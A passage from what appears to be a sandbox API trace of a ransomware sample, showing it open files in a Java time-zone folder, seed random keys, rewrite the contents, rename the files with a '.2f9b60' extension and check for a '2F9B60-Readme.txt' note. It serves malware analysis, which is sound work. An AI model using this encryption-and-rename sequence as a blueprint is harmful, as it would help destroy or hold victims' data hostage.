Flags=0x8, Size=0x40) returned 0x1ce5c830 [0187.878] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5ad30 [0187.879] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f7000 [0187.880] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f7000) returned 1 [0187.880] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x42c0e9e0 [0187.880] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f7000 [0187.880] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f6df0 [0187.881] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f6df0) returned 1 [0187.881] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5ad30) returned 1 [0187.882] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c830) returned 1 [0187.882] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1ce5ebf0 [0187.882] sprintf (in: _Dest=0x1ce5ebf0, _Format="%c%c" | out: _Dest="de") returned 2 [0187.882] sprintf (in: _Dest=0x1ce5ebf2, _Format="%c%c" | out: _Dest="67") returned 2 [0187.882] sprintf (in: _Dest=0x1ce5ebf4, _Format="%c%c" | out: _Dest="28") returned 2 [0187.882] sprintf (in: _Dest=0x1ce5ebf6, _Format="%c%c" | out: _Dest="47") returned 2 [0187.882] sprintf (in: _Dest=0x1ce5ebf8, _Format="%c%c" | out: _Dest="ec") returned 2 [0187.882] sprintf (in: _Dest=0x1ce5ebfa, _Format="%c%c" | out: _Dest="7c") returned 2 [0187.882] sprintf (in: _Dest=0x1ce5ebfc, _Format="%c%c" | out: _Dest="34") returned 2 [0187.882] sprintf (in: _Dest=0x1ce5ebfe, _Format="%c%c" | out: _Dest="41") returned 2 [0187.882] sprintf (in: _Dest=0x1ce5ec00, _Format="%c%c" | out: _Dest="58") returned 2 [0187.882] sprintf (in: _Dest=0x1ce5ec02, _Format="%c%c" | out: _Dest="9c") returned 2 [0187.882] sprintf (in: _Dest=0x1ce5ec04, _Format="%c%c" | out: _Dest="d6") returned 2 [0187.883] sprintf (in: _Dest=0x1ce5ec06, _Format="%c%c" | out: _Dest="ae") returned 2 [0187.883] sprintf (in: _Dest=0x1ce5ec08, _Format="%c%c" | out: _Dest="d8") returned 2 [0187.883] sprintf (in: _Dest=0x1ce5ec0a, _Format="%c%c" | out: _Dest="ac") returned 2 [0187.883] sprintf (in: _Dest=0x1ce5ec0c, _Format="%c%c" | out: _Dest="97") returned 2 [0187.883] sprintf (in: _Dest=0x1ce5ec0e, _Format="%c%c" | out: _Dest="95") returned 2 [0187.883] sprintf (in: _Dest=0x1ce5ec10, _Format="%c%c" | out: _Dest="17") returned 2 [0187.883] sprintf (in: _Dest=0x1ce5ec12, _Format="%c%c" | out: _Dest="ad") returned 2 [0187.883] sprintf (in: _Dest=0x1ce5ec14, _Format="%c%c" | out: _Dest="5d") returned 2 [0187.883] sprintf (in: _Dest=0x1ce5ec16, _Format="%c%c" | out: _Dest="6d") returned 2 [0187.883] sprintf (in: _Dest=0x1ce5ec18, _Format="%c%c" | out: _Dest="ce") returned 2 [0187.883] sprintf (in: _Dest=0x1ce5ec1a, _Format="%c%c" | out: _Dest="3a") returned 2 [0187.883] sprintf (in: _Dest=0x1ce5ec1c, _Format="%c%c" | out: _Dest="3a") returned 2 [0187.883] sprintf (in: _Dest=0x1ce5ec1e, _Format="%c%c" | out: _Dest="94") returned 2 [0187.883] RtlInitAnsiString (in: DestinationString=0x36c8fc68, SourceString="de672847ec7c3441589cd6aed8ac979517ad5d6dce3a3a94" | out: DestinationString="de672847ec7c3441589cd6aed8ac979517ad5d6dce3a3a94") [0187.883] RtlAnsiStringToUnicodeString (in: DestinationString=0x36c8fc38, SourceString="de672847ec7c3441589cd6aed8ac979517ad5d6dce3a3a94", AllocateDestinationString=1 | out: DestinationString="de672847ec7c3441589cd6aed8ac979517ad5d6dce3a3a94") returned 0x0 [0187.883] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x203faeb0 [0187.884] RtlFreeAnsiString (AnsiString="d") [0187.884] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5ebf0) returned 1 [0187.885] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c0e9e0) returned 1 [0187.885] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f7000) returned 1 [0187.885] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423aabf0) returned 1 [0187.886] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec6fb0) returned 1 [0187.886] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec6fe0) returned 1 [0187.887] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec6f80) returned 1 [0187.888] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec6f50) returned 1 [0187.888] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac0d70) returned 1 [0187.888] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac0b90) returned 1 [0187.889] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac0ad0) returned 1 [0187.889] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x1b85b880 [0187.889] wcscat (in: _Dest=0x1b85b880, _Source="de672847ec7c" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\de672847ec7c") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\de672847ec7c" [0187.889] wcscat (in: _Dest=0x1b85b880, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\de672847ec7c.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\de672847ec7c.2f9b60" [0187.889] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\de672847ec7c.2f9b60", NtPathName=0x36c8fc10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\de672847ec7c.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0187.889] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x1b863380 Thread: id = 2824 os_tid = 0x1a18 [0159.928] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Juba" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\juba")) returned 0x20 [0165.810] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Juba", dwFileAttributes=0x20) returned 1 [0166.401] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Juba" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\juba"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2bf4 [0167.761] GetFileSizeEx (in: hFile=0x2bf4, lpFileSize=0x36a9fb80 | out: lpFileSize=0x36a9fb80*=337) returned 1 [0167.761] SetFilePointerEx (in: hFile=0x2bf4, liDistanceToMove=0x14d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.761] ReadFile (in: hFile=0x2bf4, lpBuffer=0x36a9fb00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x36a9fb48, lpOverlapped=0x0 | out: lpBuffer=0x36a9fb00*, lpNumberOfBytesRead=0x36a9fb48*=0x4, lpOverlapped=0x0) returned 1 [0167.762] SetFilePointerEx (in: hFile=0x2bf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.762] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac3980 [0167.762] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c181e0 [0167.762] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18240 [0167.763] NtQuerySystemTime (in: CurrentTime=0x36a9fa40 | out: CurrentTime=0x36a9fa40*=132462177728866000) returned 0x0 [0167.763] RtlRandomEx (in: Seed=0x36a9fa30 | out: Seed=0x36a9fa30) returned 0x6c29fa05 [0167.763] RtlRandomEx (in: Seed=0x36a9fa30 | out: Seed=0x36a9fa30) returned 0x65207361 [0167.763] RtlRandomEx (in: Seed=0x36a9fa30 | out: Seed=0x36a9fa30) returned 0x4eb727b1 [0167.763] RtlRandomEx (in: Seed=0x36a9fa30 | out: Seed=0x36a9fa30) returned 0x13d4235 [0167.763] RtlRandomEx (in: Seed=0x36a9fa30 | out: Seed=0x36a9fa30) returned 0x5df428ae [0167.763] RtlRandomEx (in: Seed=0x36a9fa30 | out: Seed=0x36a9fa30) returned 0x8ba4903 [0167.763] RtlRandomEx (in: Seed=0x36a9fa30 | out: Seed=0x36a9fa30) returned 0x431969d8 [0167.763] RtlRandomEx (in: Seed=0x36a9fa30 | out: Seed=0x36a9fa30) returned 0x1bfccbe7 [0167.763] RtlRandomEx (in: Seed=0x36a9fa30 | out: Seed=0x36a9fa30) returned 0xd6989a [0167.763] RtlRandomEx (in: Seed=0x36a9fa30 | out: Seed=0x36a9fa30) returned 0x2933fbea [0167.763] RtlRandomEx (in: Seed=0x36a9fa30 | out: Seed=0x36a9fa30) returned 0x75edb27c [0167.763] RtlRandomEx (in: Seed=0x36a9fa30 | out: Seed=0x36a9fa30) returned 0x4bd10e49 [0167.763] RtlRandomEx (in: Seed=0x36a9fa30 | out: Seed=0x36a9fa30) returned 0x801237d [0167.763] RtlRandomEx (in: Seed=0x36a9fa30 | out: Seed=0x36a9fa30) returned 0x129a79fa [0167.763] RtlRandomEx (in: Seed=0x36a9fa30 | out: Seed=0x36a9fa30) returned 0x3c0539b1 [0167.763] RtlRandomEx (in: Seed=0x36a9fa30 | out: Seed=0x36a9fa30) returned 0x2d73c675 [0167.763] RtlRandomEx (in: Seed=0x36a9fa30 | out: Seed=0x36a9fa30) returned 0x1e621d05 [0167.763] RtlRandomEx (in: Seed=0x36a9fa30 | out: Seed=0x36a9fa30) returned 0x14c6594d [0167.763] RtlRandomEx (in: Seed=0x36a9fa30 | out: Seed=0x36a9fa30) returned 0x30d4ed6c [0167.763] RtlRandomEx (in: Seed=0x36a9fa30 | out: Seed=0x36a9fa30) returned 0xce138f2 [0167.763] RtlRandomEx (in: Seed=0x36a9fa30 | out: Seed=0x36a9fa30) returned 0x77703849 [0167.763] RtlRandomEx (in: Seed=0x36a9fa30 | out: Seed=0x36a9fa30) returned 0x62e6dd8c [0167.763] RtlRandomEx (in: Seed=0x36a9fa30 | out: Seed=0x36a9fa30) returned 0x45e4b6d4 [0167.763] RtlRandomEx (in: Seed=0x36a9fa30 | out: Seed=0x36a9fa30) returned 0x33ab530f [0167.764] RtlRandomEx (in: Seed=0x36a9fa30 | out: Seed=0x36a9fa30) returned 0x31aaf6a0 [0167.764] RtlRandomEx (in: Seed=0x36a9fa30 | out: Seed=0x36a9fa30) returned 0x2c306a26 [0167.764] RtlRandomEx (in: Seed=0x36a9fa30 | out: Seed=0x36a9fa30) returned 0xa1ec7a5 [0167.764] RtlRandomEx (in: Seed=0x36a9fa30 | out: Seed=0x36a9fa30) returned 0x69b15809 [0167.764] RtlRandomEx (in: Seed=0x36a9fa30 | out: Seed=0x36a9fa30) returned 0x11937a1c [0167.764] RtlRandomEx (in: Seed=0x36a9fa30 | out: Seed=0x36a9fa30) returned 0x117c101a [0167.764] RtlRandomEx (in: Seed=0x36a9fa30 | out: Seed=0x36a9fa30) returned 0x7b64917f [0167.764] RtlRandomEx (in: Seed=0x36a9fa30 | out: Seed=0x36a9fa30) returned 0x2921d6c7 [0167.773] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18570 [0167.774] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e610 [0167.774] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c185d0 [0167.774] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e610) returned 1 [0167.775] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18240) returned 1 [0167.775] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac3980) returned 1 [0167.775] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bac0 [0167.775] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e610 [0167.775] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac3980 [0167.775] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac3980) returned 1 [0167.775] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x424bd540 [0167.776] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x424c1150 [0167.776] ReadFile (in: hFile=0x2bf4, lpBuffer=0x424bd540, nNumberOfBytesToRead=0x151, lpNumberOfBytesRead=0x36a9fa30, lpOverlapped=0x0 | out: lpBuffer=0x424bd540*, lpNumberOfBytesRead=0x36a9fa30*=0x151, lpOverlapped=0x0) returned 1 [0167.776] SetFilePointerEx (in: hFile=0x2bf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.776] WriteFile (in: hFile=0x2bf4, lpBuffer=0x424c1150*, nNumberOfBytesToWrite=0x151, lpNumberOfBytesWritten=0x36a9fa34, lpOverlapped=0x0 | out: lpBuffer=0x424c1150*, lpNumberOfBytesWritten=0x36a9fa34*=0x151, lpOverlapped=0x0) returned 1 [0184.248] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec7250 [0184.248] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec7280 [0184.249] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec7280) returned 1 [0184.249] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x424c1150) returned 1 [0184.250] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x424bd540) returned 1 [0184.250] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e610) returned 1 [0184.251] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bac0) returned 1 [0184.251] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d700 [0184.251] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bac0 [0184.252] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e610 [0184.252] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec7280 [0184.253] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec7280) returned 1 [0184.253] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d720 [0184.253] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec7280 [0184.253] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec72b0 [0184.254] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec72b0) returned 1 [0184.254] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e610) returned 1 [0184.255] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bac0) returned 1 [0184.255] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xfa) returned 0x431c0720 [0191.998] SetFilePointerEx (in: hFile=0x2bf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0191.998] WriteFile (in: hFile=0x2bf4, lpBuffer=0x431c0720*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x36a9fb50, lpOverlapped=0x0 | out: lpBuffer=0x431c0720*, lpNumberOfBytesWritten=0x36a9fb50*=0xfa, lpOverlapped=0x0) returned 1 [0207.492] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0207.492] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebaee0 [0207.493] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18c90 [0207.493] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18c90) returned 1 [0207.493] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8) returned 0x1b7d3400 [0207.493] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18c90 [0207.494] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18c60 [0207.494] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18c60) returned 1 [0207.495] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebaee0) returned 1 [0207.495] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0207.495] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x11) returned 0x1b82d6c0 [0207.495] sprintf (in: _Dest=0x1b82d6c0, _Format="%c%c" | out: _Dest="fd") returned 2 [0207.495] sprintf (in: _Dest=0x1b82d6c2, _Format="%c%c" | out: _Dest="bf") returned 2 [0207.495] sprintf (in: _Dest=0x1b82d6c4, _Format="%c%c" | out: _Dest="ad") returned 2 [0207.495] sprintf (in: _Dest=0x1b82d6c6, _Format="%c%c" | out: _Dest="6d") returned 2 [0207.495] sprintf (in: _Dest=0x1b82d6c8, _Format="%c%c" | out: _Dest="18") returned 2 [0207.495] sprintf (in: _Dest=0x1b82d6ca, _Format="%c%c" | out: _Dest="27") returned 2 [0207.495] sprintf (in: _Dest=0x1b82d6cc, _Format="%c%c" | out: _Dest="af") returned 2 [0207.496] sprintf (in: _Dest=0x1b82d6ce, _Format="%c%c" | out: _Dest="4a") returned 2 [0207.496] RtlInitAnsiString (in: DestinationString=0x36a9fbc8, SourceString="fdbfad6d1827af4a" | out: DestinationString="fdbfad6d1827af4a") [0207.496] RtlAnsiStringToUnicodeString (in: DestinationString=0x36a9fb98, SourceString="fdbfad6d1827af4a", AllocateDestinationString=1 | out: DestinationString="fdbfad6d1827af4a") returned 0x0 [0207.496] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x42c1d970 [0207.496] wcscat (in: _Dest=0x1cebaee0, _Source="fdbf" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\fdbf") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\fdbf" [0207.496] wcscat (in: _Dest=0x1cebaee0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\fdbf.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\fdbf.2f9b60" [0207.496] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\fdbf.2f9b60", NtPathName=0x36a9fb70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\fdbf.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0207.496] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x431c8480 [0237.686] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431c8480) returned 1 [0237.686] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4316f8e0) returned 1 [0237.686] NtQueryInformationFile (in: FileHandle=0x2bf4, IoStatusBlock=0x36a9fbd8, FileInformation=0x36a9fbe8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x36a9fbd8, FileInformation=0x36a9fbe8) returned 0x0 [0237.686] NtSetInformationFile (FileHandle=0x2bf4, IoStatusBlock=0x36a9fbd8, FileInformation=0x36a9fbe8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0237.967] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebaee0) returned 1 [0237.967] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1d970) returned 1 [0237.967] FlushFileBuffers (hFile=0x2bf4) returned 1 [0238.243] CloseHandle (hObject=0x2bf4) returned 1 [0241.726] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x431a07b0 [0241.726] wcscpy (in: _Dest=0x431a07b0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0241.726] wcscat (in: _Dest=0x431a07b0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt" [0241.726] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\2f9b60-readme.txt")) returned 0x20 [0243.738] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a07b0) returned 1 [0243.739] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1e90) returned 1 Thread: id = 2825 os_tid = 0x1a24 [0159.929] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Kampala" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\kampala")) returned 0x20 [0165.811] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Kampala", dwFileAttributes=0x20) returned 1 [0166.405] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Kampala" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\kampala"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2c04 [0167.793] GetFileSizeEx (in: hFile=0x2c04, lpFileSize=0x373bf860 | out: lpFileSize=0x373bf860*=97) returned 1 [0167.793] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac3980 [0167.793] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c185a0 [0167.794] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18b40 [0167.794] NtQuerySystemTime (in: CurrentTime=0x373bf720 | out: CurrentTime=0x373bf720*=132462177729178000) returned 0x0 [0167.794] RtlRandomEx (in: Seed=0x373bf710 | out: Seed=0x373bf710) returned 0x3d9a9dfb [0167.794] RtlRandomEx (in: Seed=0x373bf710 | out: Seed=0x373bf710) returned 0x66b39d4e [0167.794] RtlRandomEx (in: Seed=0x373bf710 | out: Seed=0x373bf710) returned 0x2b20e415 [0167.794] RtlRandomEx (in: Seed=0x373bf710 | out: Seed=0x373bf710) returned 0x47c2dcd7 [0167.794] RtlRandomEx (in: Seed=0x373bf710 | out: Seed=0x373bf710) returned 0x718ac44b [0167.794] RtlRandomEx (in: Seed=0x373bf710 | out: Seed=0x373bf710) returned 0x30ff93a0 [0167.794] RtlRandomEx (in: Seed=0x373bf710 | out: Seed=0x373bf710) returned 0x4bc8a258 [0167.794] RtlRandomEx (in: Seed=0x373bf710 | out: Seed=0x373bf710) returned 0x39b12df8 [0167.794] RtlRandomEx (in: Seed=0x373bf710 | out: Seed=0x373bf710) returned 0x221a4c15 [0167.794] RtlRandomEx (in: Seed=0x373bf710 | out: Seed=0x373bf710) returned 0x304f300e [0167.794] RtlRandomEx (in: Seed=0x373bf710 | out: Seed=0x373bf710) returned 0x4145bead [0167.794] RtlRandomEx (in: Seed=0x373bf710 | out: Seed=0x373bf710) returned 0x43e326e [0167.794] RtlRandomEx (in: Seed=0x373bf710 | out: Seed=0x373bf710) returned 0x31554520 [0167.794] RtlRandomEx (in: Seed=0x373bf710 | out: Seed=0x373bf710) returned 0xd4d45cf [0167.794] RtlRandomEx (in: Seed=0x373bf710 | out: Seed=0x373bf710) returned 0x33f27230 [0167.794] RtlRandomEx (in: Seed=0x373bf710 | out: Seed=0x373bf710) returned 0x43e624f4 [0167.794] RtlRandomEx (in: Seed=0x373bf710 | out: Seed=0x373bf710) returned 0x1a0ac8dd [0167.794] RtlRandomEx (in: Seed=0x373bf710 | out: Seed=0x373bf710) returned 0x64988911 [0167.794] RtlRandomEx (in: Seed=0x373bf710 | out: Seed=0x373bf710) returned 0x49d5f628 [0167.794] RtlRandomEx (in: Seed=0x373bf710 | out: Seed=0x373bf710) returned 0x4546dded [0167.794] RtlRandomEx (in: Seed=0x373bf710 | out: Seed=0x373bf710) returned 0x40d5ea16 [0167.794] RtlRandomEx (in: Seed=0x373bf710 | out: Seed=0x373bf710) returned 0x4b0909a4 [0167.794] RtlRandomEx (in: Seed=0x373bf710 | out: Seed=0x373bf710) returned 0x4b6d408a [0167.794] RtlRandomEx (in: Seed=0x373bf710 | out: Seed=0x373bf710) returned 0xb0460fd [0167.794] RtlRandomEx (in: Seed=0x373bf710 | out: Seed=0x373bf710) returned 0x3c7356e9 [0167.794] RtlRandomEx (in: Seed=0x373bf710 | out: Seed=0x373bf710) returned 0x75e15f8a [0167.794] RtlRandomEx (in: Seed=0x373bf710 | out: Seed=0x373bf710) returned 0x39787467 [0167.794] RtlRandomEx (in: Seed=0x373bf710 | out: Seed=0x373bf710) returned 0x34c5b4f [0167.794] RtlRandomEx (in: Seed=0x373bf710 | out: Seed=0x373bf710) returned 0x5c6bc141 [0167.794] RtlRandomEx (in: Seed=0x373bf710 | out: Seed=0x373bf710) returned 0x4d7c8127 [0167.794] RtlRandomEx (in: Seed=0x373bf710 | out: Seed=0x373bf710) returned 0x715a16aa [0167.794] RtlRandomEx (in: Seed=0x373bf710 | out: Seed=0x373bf710) returned 0x1fa0379 [0167.802] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18b70 [0167.803] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e410 [0167.803] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18ba0 [0167.803] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e410) returned 1 [0167.803] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18b40) returned 1 [0167.804] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac3980) returned 1 [0167.804] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5b9d0 [0167.804] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e410 [0167.804] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac3980 [0167.804] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac3980) returned 1 [0167.804] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x424d79b0 [0167.804] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x424e69f0 [0167.805] ReadFile (in: hFile=0x2c04, lpBuffer=0x424d79b0, nNumberOfBytesToRead=0x61, lpNumberOfBytesRead=0x373bf710, lpOverlapped=0x0 | out: lpBuffer=0x424d79b0*, lpNumberOfBytesRead=0x373bf710*=0x61, lpOverlapped=0x0) returned 1 [0167.806] SetFilePointerEx (in: hFile=0x2c04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: 